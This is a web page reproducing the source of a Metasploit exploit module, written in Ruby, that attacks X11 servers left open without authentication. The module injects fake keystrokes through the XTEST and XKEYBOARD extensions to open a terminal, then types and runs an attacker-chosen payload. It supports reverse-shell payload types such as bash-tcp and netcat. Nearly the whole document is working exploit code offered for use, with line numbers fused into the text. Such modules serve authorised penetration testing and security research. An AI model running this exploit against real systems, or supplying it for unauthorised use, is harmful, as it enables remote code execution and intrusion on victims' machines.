Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::Tcp89KB_KEYS = {10'1' => "\x0a",11'2' => "\x0b",12'3' => "\x0c",13'4' => "\x0d",14'5' => "\x0e",15'6' => "\x0f",16'7' => "\x10",17'&' => "\x10",18'8' => "\x11",19'9' => "\x12",20'(' => "\x12",21'0' => "\x13",22')' => "\x13",23'-' => "\x14",24'=' => "\x15",25'q' => "\x18",26'w' => "\x19",27'e' => "\x1a",28'r' => "\x1b",29't' => "\x1c",30'y' => "\x1d",31'u' => "\x1e",32'i' => "\x1f",33'o' => "\x20",34'p' => "\x21",35'[' => "\x22",36'{' => "\x22",37']' => "\x23",38'}' => "\x23",39'a' => "\x26",40's' => "\x27",41'd' => "\x28",42'f' => "\x29",43'g' => "\x2a",44'h' => "\x2b",45'j' => "\x2c",46'k' => "\x2d",47'l' => "\x2e",48';' => "\x2f",49':' => "\x2f",50"'" => "\x30",51'"' => "\x30",52'`' => "\x31",53'~' => "\x31",54'lshift' => "\x32",55'\\' => "\x33",56'|' => "\x33",57'z' => "\x34",58'x' => "\x35",59'c' => "\x36",60'v' => "\x37",61'b' => "\x38",62'n' => "\x39",63'm' => "\x3a",64',' => "\x3b",65'<' => "\x3b",66'.' => "\x3c",67'>' => "\x3c",68'/' => "\x3d",69'*' => "\x3f",70'alt' => "\x40",71' ' => "\x41",72'f2' => "\x44"73}747576def initialize(info = {})77super(update_info(info,78'Name' => 'X11 Keyboard Command Injection',79'Description' => %q{80This module exploits open X11 servers by connecting and registering a81virtual keyboard. The virtual keyboard is used to open an xterm or gnome82terminal and type and execute the specified payload.83},84'Author' =>85[86'xistence <xistence[at]0x90.nl>'87],88'Privileged' => false,89'License' => MSF_LICENSE,90'Payload' =>91{92'DisableNops' => true,93'Compat' =>94{95'PayloadType' => 'cmd cmd_bash',96'RequiredCmd' => 'gawk bash-tcp python netcat'97}98},99'Platform' => ['unix'],100'Arch' => ARCH_CMD,101'Targets' =>102[103[ 'xterm (Generic)', {}],104[ 'gnome-terminal (Ubuntu)', {}],105], 'DisclosureDate' => '2015-07-10',106'DefaultTarget' => 0))107108register_options(109[110Opt::RPORT(6000),111OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])112])113end114115116def xkeyboard_key117req = ""118req << @xkeyboard_opcode119req << "\x05" # Extension minor: 5 (LatchLockState)120req << "\x04\x00" # Request length: 4121req << "\x00\x01" # DeviceSpec: 0x0100 (256)122req << "\x00" # affectModLocks: 0123req << "\x00" # modLocks: 0124req << "\x01" # lockGroup: True125req << "\x00" # groupLock: 0126req << "\x00" # affectModLatches: 0127req << "\x00" # Unused128req << "\x00" # latchGroup: False129req << "\x00\x00" # groupLatch: 0130req << "\x00" # Undecoded131return req132end133134135def press_key(key)136137req = xkeyboard_key138139req << @xtest_opcode140req << "\x02" # Extension minor: 2 (FakeInput)141req << "\x09\x00" # Request length: 9142req << "\x02" # Press key (Type: 2)143req << key # What key to press144req << "\x04\x00" # Unused?145req << "\x00\x00\x00\x00" # Time146req << "\x00\x00\x00\x00" # Root147req << "\x07\x00\x07\x00" # Unused?148req << "\x88\x04\x02\x00" # Unused?149#req << "\x00\x01" # rootX: 256150#req << "\xf5\x05" # rootY: 1525151req << "\x00\x00" # rootX: 0152req << "\x00\x00" # rootY: 0153req << "\x00\x00\x00\x00" # Unused?154req << "\x00\x00\x00" # Unused?155req << "\x00" # deviceid: 0156157req << xkeyboard_key158159req << "\x2b" # Opcode 43: GetInputFocus160req << "\x00" # Unused161req << "\x01\x00" # Request length: 1162163sock.put(req)164165res = sock.get_once166167# Response should give 1 on first byte (Success)168unless res && res[0,1] == "\x01"169fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")170end171172end173174def release_key(key)175176req = xkeyboard_key177178req << @xtest_opcode179req << "\x02" # Extension minor: 2 (FakeInput)180req << "\x09\x00" # Request length: 9181req << "\x03" # Release key (Type: 3)182req << key # What key to release183req << "\x04\x00" # Unused?184req << "\x00\x00\x00\x00" # Time185req << "\x00\x00\x00\x00" # Root186req << "\x07\x00\x07\x00" # Unused?187req << "\x88\x04\x02\x00" # Unused?188#req << "\x00\x01" # rootX: 256189#req << "\xf5\x05" # rootY: 1525190req << "\x00\x00" # rootX: 0191req << "\x00\x00" # rootY: 0192req << "\x00\x00\x00\x00" # Unused?193req << "\x00\x00\x00" # Unused?194req << "\x00" # deviceid: 0195196req << xkeyboard_key197198req << "\x2b" # Opcode 43: GetInputFocus199req << "\x00" # Unused200req << "\x01\x00" # Request length: 1201202sock.put(req)203204res = sock.get_once205206# Response should give 1 on first byte (Success)207unless res && res[0,1] == "\x01"208fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")209end210211end212213def type_command(command)214# Specify the special keys which need to have shift pressed first to type215specialkeys = '<>{}|"&()'.chars216values = command.chars217values.each do |value|218key = KB_KEYS[value]219# Special keys need a shift pressed to be typed220if Regexp.union(specialkeys) =~ value221press_key(KB_KEYS["lshift"]) # [lshift]222press_key(key)223release_key(KB_KEYS["lshift"])224release_key(key)225# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase226elsif value =~ /[A-Z]/227press_key(KB_KEYS["lshift"]) # [lshift]228press_key(KB_KEYS[value.downcase])229release_key(KB_KEYS["lshift"])230release_key(KB_KEYS[value.downcase])231# All normal keys which are not special keys or uppercase characters232else233press_key(key)234release_key(key)235end236end237# Send an enter238press_key("\x24") # [enter]239release_key("\x24") # [enter]240end241242def send_msg(sock, data)243sock.put(data)244data = ""245begin246read_data = sock.get_once(-1, 1)247while not read_data.nil?248data << read_data249read_data = sock.get_once(-1, 1)250end251rescue EOFError252end253data254end255256def exploit257258begin259connect260261print_status("#{rhost}:#{rport} - Register keyboard")262263req = "\x6c" # Byte order (Little-Endian)264req << "\x00" # Unused265req << "\x0b\x00" # Protocol major version: 11266req << "\x00\x00" # Protocol minor version: 0267req << "\x00\x00" # Authorization protocol name length: 0268req << "\x00\x00" # Authorization protocol data length: 0269req << "\x00\x00" # Unused270271# Retrieve the whole X11 details response272res = send_msg(sock,req)273274# Response should give 0x01 in first byte (Success)275unless res && res[0,1] == "\x01"276fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")277end278279280# Keyboard registration281req = "\x62" # Opcode 98: QueryExtension282req << "\x00" # Unused283req << "\x05\x00" # Request length: 5284req << "\x09\x00" # Name length: 9285req << "\x60\x03" # Unused?286req << "XKEYBOARD" # Name287req << "\x00\x00\x00" # Unused, padding?288289# Retrieve the whole X11 details response290res = send_msg(sock,req)291292# Response should give 0x01 in first byte (Success)293if res && res[0,1] == "\x01"294@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode295else296#puts res.inspect297fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")298end299300301req = ""302req << @xkeyboard_opcode303req << "\x00" # Extension minor: 0 (UseExtension)304req << "\x02\x00" # Request length: 2305req << "\x01\x00" # Wanted Major: 1306req << "\x00\x00" # Wanted Minor: 0307308# Retrieve the whole X11 details response309res = send_msg(sock,req)310311unless res && res[0,1] == "\x01"312fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")313end314315316req = "\x62" # Opcode 98: QueryExtension317req << "\x00" # Unused318req << "\x06\x00" # Request length: 6319req << "\x0f\x00" # Name length: 15320req << "\x00\x00" # Unused321req << "XInputExtension" # Name322req << "\x00" # Unused, padding?323324# Retrieve the whole X11 details response325res = send_msg(sock,req)326327# Response should give 0x01 in first byte (Success)328unless res && res[0,1] == "\x01"329fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")330end331332333req = "\x62" # Opcode 98: QueryExtension334req << "\x00" # Unused335req << "\x04\x00" # Request length: 4336req << "\x05\x00" # Name length: 5337req << "\x00\x00" # Unused338req << "XTEST" # Name339req << "\x00\x00\x00" # Unused, padding?340341# Retrieve the whole X11 details response342res = send_msg(sock,req)343344# Response should give 0x01 in first byte (Success)345if res && res[0,1] == "\x01"346@xtest_opcode = res[9,1] # Retrieve the XTEST opcode347else348fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")349end350351352req = "\x62" # Opcode 98: QueryExtension353req << "\x00" # Unused354req << "\x08\x00" # Request length355req << "\x17\x00" # Name length356req << "\x00\x00" # Unused357req << "Generic Event Extension" # Name358req << "\x00" # Unused, padding?359360# Retrieve the whole X11 details response361res = send_msg(sock,req)362363# Response should give 0x01 in first byte (Success)364if res && res[0,1] == "\x01"365@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode366else367fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")368end369370371req = ""372req << @genericevent_opcode373req << "\x00" # Extension minor: 0 (QueryVersion)374req << "\x02\x00" # Request length: 2375req << "\x01\x00" # Client major version: 1376req << "\x00\x00" # Client minor version: 0377378# Retrieve the whole X11 details response379res = send_msg(sock,req)380381# Response should give 0x01 in first byte (Success)382unless res && res[0,1] == "\x01"383fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")384end385386387req = ""388req << @xtest_opcode389req << "\x00" # Extension minor: 0 (GetVersion)390req << "\x02\x00" # Request length: 2391req << "\x02\x00" # Major version: 2392req << "\x02\x00" # Minor version: 2393394# Retrieve the whole X11 details response395res = send_msg(sock,req)396397# Response should give 0x01 in first byte (Success)398unless res && res[0,1] == "\x01"399fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")400end401402403req = "\x65" # Opcode 101: GetKeyboardMapping404req << "\x00" # Unused405req << "\x02\x00" # Request length: 2406req << "\x08" # First keycode: 8407req << "\xf8" # Count: 248408req << "\x02\x00" # Unused?409410# Retrieve the whole X11 details response411res = send_msg(sock,req)412413# Response should give 0x01 in first byte (Success)414unless res && res[0,1] == "\x01"415fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")416end417418419req = ""420req << @xkeyboard_opcode421req << "\x08" # Extension minor: 8 (GetMap)422req << "\x07\x00" # Request length: 7423req << "\x00\x01" # Device spec: 0x0100 (256)424req << "\x07\x00" # Full: 7425req << "\x00\x00" # Partial: 0426req << "\x00" # firsType: 0427req << "\x00" # nTypes: 0428req << "\x00" # firstKeySym: 0429req << "\x00" # nKeySym: 0430req << "\x00" # firstKeyAction: 0431req << "\x00" # nKeysActions: 0432req << "\x00" # firstKeyBehavior: 0433req << "\x00" # nKeysBehavior: 0434req << "\x00\x00" # virtualMods: 0435req << "\x00" # firstKeyExplicit: 0436req << "\x00" # nKeyExplicit: 0437req << "\x00" # firstModMapKey: 0438req << "\x00" # nModMapKeys: 0439req << "\x00" # firstVModMapKey: 0440req << "\x00" # nVModMapKeys: 0441req << "\x00\x00" # Unused, padding?442443# Retrieve the whole X11 details response444res = send_msg(sock,req)445446# Response should give 0x01 in first byte (Success)447unless res && res[0,1] == "\x01"448fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")449end450451452# Press ALT+F2 to start up "Run application"453print_status("#{rhost}:#{rport} - Opening \"Run Application\"")454press_key(KB_KEYS["alt"])455press_key(KB_KEYS["f2"])456release_key(KB_KEYS["alt"])457release_key(KB_KEYS["f2"])458459# Wait X seconds to open the dialog460print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")461Rex.sleep(datastore['TIME_WAIT'])462463if datastore['TARGET'] == 0464# Start a xterm terminal465print_status("#{rhost}:#{rport} - Opening xterm")466type_command("xterm")467else468# Start a Gnome terminal469print_status("#{rhost}:#{rport} - Opening gnome-terminal")470type_command("gnome-terminal")471end472473print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")474# Wait X seconds to open the terminal475Rex.sleep(datastore['TIME_WAIT'])476477# "Type" our payload and execute it478print_status("#{rhost}:#{rport} - Typing and executing payload")479command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"480481type_command(command)482483handler484rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e485print_error("#{rhost}:#{rport} - #{e.message}")486ensure487disconnect488end489end490end491492493